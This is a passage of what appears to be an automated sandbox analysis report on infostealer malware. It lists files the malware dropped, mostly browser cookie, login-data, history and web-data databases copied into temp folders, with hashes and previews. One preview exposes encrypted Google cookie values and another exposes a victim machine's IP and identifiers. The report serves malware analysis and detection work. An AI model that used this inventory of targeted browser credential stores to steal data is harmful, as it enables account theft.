Preview:	.google.com.FALSE./.TRUE.1699018815.1P_JAR.ENC893_djEwmUj/dRHWNmfhbTB/w+u3HcpAF49UGcxvovgmz9ye9OQyJO9KCFHkRm8=_Spn23kok+Q5pGfoIFZdfhpScu2LLLElOWGEpK4fGivY=...google.com.TRUE./.TRUE.1712238015.NID.ENC893_djEwFCqquAx+Q1mLxpuZeEBJZSgzAt4Ngo/HHXcYPxMGINXG0MJzCe/y7m5VzpUyfsA6ingOdNobTvWP/YbKYpzg64nmGlCjRU9RpPIjDAuAxGlp5MTMUaOP4iC8aSCuijjqDE5gAdZQ5Jgb0/uEAZ4ssWGDsxXJbqpGbi04viYfPDhBfQ9XKXznqtHW/weYlNZJIGlKZBsCWoEIKfuL56VHKaBt04gLO/XK1/P3nHsp6pSc1x1uk1RRK7hSYUjCY5G/hcpBBjFv74dICDI=_Spn23kok+Q5pGfoIFZdfhpScu2LLLElOWGEpK4fGivY=..

C:\Users\user\AppData\Local\Temp\adobevqkoBMIvF7c3\information.txt

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	7486
Entropy (8bit):	5.370134377851073
Encrypted:	false
SSDEEP:	96:xfkOZRSuc2KBhA6tsxODsG6v0K1U5PFmXkWSY7AANUbg3x:xJ8uX6tsxPDt1oNm0WT7hB
MD5:	A7D04DE6D3AD53122F7CFDBA7FCD6463
SHA1:	BDD746CF0B959133346C1FFE0C9465AEDDBA79C8
SHA-256:	5C580CEF77B3AD652C882ED4C03D2399D404DA706F7189AD9C83E338D68F83CF
SHA-512:	571AA034D221240E5B9B8437375CF7D394C3A72B47782ACFC83870AE1940001B6AAB16145E6D430A57BAA73867F871B92ECAAA41314F381971B26DD5C2803658
Malicious:	false
Reputation:	unknown
Preview:	Build: bladak..Version: 1.9....Date: Fri Apr 19 03:29:39 2024.MachineID: 9e146be9-c76a-4720-bcdb-53011b87bd06..GUID: {a33c7340-61ca-11ee-8c18-806e6f6e6963}..HWID: cfeb70a35b65616976a5684cd81effed....Path: C:\ProgramData\MPGPH131\MPGPH131.exe..Work Dir: C:\Users\user\AppData\Local\Temp\adobevqkoBMIvF7c3....IP: 81.181.57.52..Location: US, Atlanta..ZIP (Autofills): -..Windows: Windows 10 Pro [x64]..Computer Name: 899552 [WORKGROUP]..User Name: user..Display Resolution: 1280x1024..Display Language: en-CH..Keyboard Languages: English (United Kingdom) / English (United Kingdom)..Local Time: 19/4/2024 3:29:39..TimeZone: UTC1....[Hardware]..Processor: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz..CPU Count: 4..RAM: 8191 MB..VideoCard #0: Microsoft Basic Display Adapter....[Processes]..System [4]..Registry [92]..smss.exe [332]..csrss.exe [420]..wininit.exe [496]..csrss.exe [504]..winlogon.exe [564]..services.exe [632]..lsass.exe [640]..svchost.exe [752]..fontdrvhost.exe [780]..fontdrvhost.exe [78

C:\Users\user\AppData\Local\Temp\adobevqkoBMIvF7c3\passwords.txt

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	Unicode text, UTF-8 text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	2.518316437186352
Encrypted:	false
SSDEEP:	48:4MMMMMMMMMMdMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMMMMdMMMMMMMM3:q
MD5:	B3E9D0E1B8207AA74CB8812BAAF52EAE
SHA1:	A2DCE0FB6B0BBC955A1E72EF3D87CADCC6E3CC6B
SHA-256:	4993311FC913771ACB526BB5EF73682EDA69CD31AC14D25502E7BDA578FFA37C
SHA-512:	B17ADF4AA80CADC581A09C72800DA22F62E5FB32953123F2C513D2E88753C430CC996E82AAE7190C8CB3340FCF2D9E0D759D99D909D2461369275FBE5C68C27A
Malicious:	false
Reputation:	unknown
Preview:	................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidibQmh7W1i7Wir\02zdBXl47cvzcookies.sqlite

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidibQmh7W1i7Wir\07LucNa8jukyWeb Data

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidibQmh7W1i7Wir\3b6N2Xdh3CYwplaces.sqlite

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidibQmh7W1i7Wir\7XR6xMZjKO19Web Data

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidibQmh7W1i7Wir\CITywoXtg3A3Web Data

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidibQmh7W1i7Wir\D87fZN3R3jFeplaces.sqlite

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidibQmh7W1i7Wir\EQdiqCjz0H8hWeb Data

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidibQmh7W1i7Wir\IGPZ0gzg5563Web Data

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidibQmh7W1i7Wir\INEwiBvdy7w4Login Data

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidibQmh7W1i7Wir\SJkliA5V7z5tLogin Data For Account

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidibQmh7W1i7Wir\dqqa2Z_HIAV7History

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidibQmh7W1i7Wir\g8Bu6cD4CROQHistory

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidibQmh7W1i7Wir\l97nQpdHtrGwLogin Data

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidibQmh7W1i7Wir\m_zU7z10wd87Cookies

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidibQmh7W1i7Wir\ncGGapBPttpQHistory

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidibQmh7W1i7Wir\xdpRti9nj1yoCookies

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidibQmh7W1i7Wir\y69MPLSb6_5hWeb Data

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidibQmh7W1i7Wir\yX7LbVUfjWEMHistory

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7363857395593286
Encrypted:	false
SSDEEP:	192:Qg4i9gtH+bF+UI3iN0RSV0k3qLyj9Ho+A:9qtIkUI3iGRE3qLOo
MD5:	D10634E34CE24D7E45EEC3D4E6A53D23
SHA1:	4055556257F379571D93F669B1E20EE06D45E86A
SHA-256:	272B3B7D55B02541C0E683F09CF47349B26A80FB27B01D060D86DFEAF8DC86D5
SHA-512:	3B7FFB113272E0DC0D3E55F1E53A09E5613FA3DFE5D9BDA41CE0F5FECDCB3731742F0EC7B012E5CEFE7B7F1823754CA819802F75337C792DEFCECD2E3BD376F9
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidivqkoBMIvF7c3\02zdBXl47cvzcookies.sqlite

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidivqkoBMIvF7c3\3b6N2Xdh3CYwplaces.sqlite

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidivqkoBMIvF7c3\3zhBGt1ZSpXxLogin Data

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidivqkoBMIvF7c3\7shck7EoU5zbHistory

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
